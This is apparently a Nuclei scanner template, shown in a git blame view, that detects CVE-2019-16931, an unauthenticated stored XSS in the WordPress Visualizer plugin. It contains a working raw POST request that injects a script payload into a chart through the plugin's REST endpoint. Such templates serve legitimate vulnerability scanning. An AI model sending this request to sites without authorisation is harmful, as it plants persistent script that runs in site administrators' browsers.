nuclei-templates/cves/2019/CVE-2019-16931.yaml

47 lines
1.4 KiB
YAML
Raw Normal View History

2022-05-11 06:26:12 +00:00
id: CVE-2019-16931
info:
2022-05-23 11:53:55 +00:00
name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS)
2022-05-11 06:26:12 +00:00
author: ritikchaddha
severity: medium
description: |
2022-05-23 11:53:55 +00:00
By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart.
2022-05-11 06:26:12 +00:00
reference:
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
- https://wpvulndb.com/vulnerabilities/9893
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-16931
cwe-id: CWE-79
2022-05-11 06:26:12 +00:00
metadata:
verified: "true"
2022-05-11 06:26:12 +00:00
tags: wp-plugin,wordpress,wp,xss,unauth
requests:
- raw:
- |
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2022-05-23 11:51:05 +00:00
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
2022-05-11 06:26:12 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-05-23 11:51:05 +00:00
- '{"success":"Chart updated"}'
2022-05-11 06:26:12 +00:00
- type: word
part: header
words:
2022-05-23 11:52:26 +00:00
- 'application/json'
2022-05-11 06:26:12 +00:00
- type: status
status:
- 200